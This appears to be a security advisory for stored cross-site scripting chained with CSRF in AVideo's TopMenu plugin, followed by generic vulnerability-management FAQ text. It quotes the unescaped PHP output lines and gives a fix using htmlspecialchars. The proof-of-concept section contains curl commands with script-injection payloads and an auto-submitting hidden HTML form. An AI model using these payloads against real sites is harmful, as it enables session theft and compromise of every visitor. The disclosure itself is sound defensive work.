The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.
Multiple output locations in the TopMenu plugin render user-controlled data without escaping:
In HTMLMenuRight.php:24, the icon class is injected directly:
<i class="<?php echo $value2['icon'] ?>"></i>
In HTMLMenuRight.php:40, the URL is rendered without encoding:
<a href="<?php echo $value2['finalURL']; ?>">
In HTMLMenuLeft.php:32, same pattern for the left menu:
<a href="<?php echo $value2['finalURL']; ?>">
In index.php:49, the menu item text is echoed raw:
<?php echo $menuItem->getText(); ?>
Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.
Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
<input type="hidden" name="menuId" value="1" />
<input type="hidden" name="item_order" value="99" />
<input type="hidden" name="item_status" value="a" />
<input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" />
<input type="hidden" name="title" value="Home" />
<input type="hidden" name="url" value="/" />
<input type="hidden" name="icon" value="fa-home" />
<input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>
The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.
curl "https://your-avideo-instance.com/"
Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.
Apply htmlspecialchars() with ENT_QUOTES to all outputs of $value2['finalURL'], $value2['icon'], and $menuItem->getText() in the TopMenu plugin templates:
// HTMLMenuRight.php:24
<i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i>
// HTMLMenuRight.php:40
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// HTMLMenuLeft.php:32
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs
// index.php:49
<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>
Apply the same encoding to every location in HTMLMenuRight.php, HTMLMenuLeft.php, floatMenu.php, and index.php where these values are echoed into HTML.
Found by aisafe.io
| Software | From | Fixed in |
|---|---|---|
wwbn / avideo
|
- | 26.0.x |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.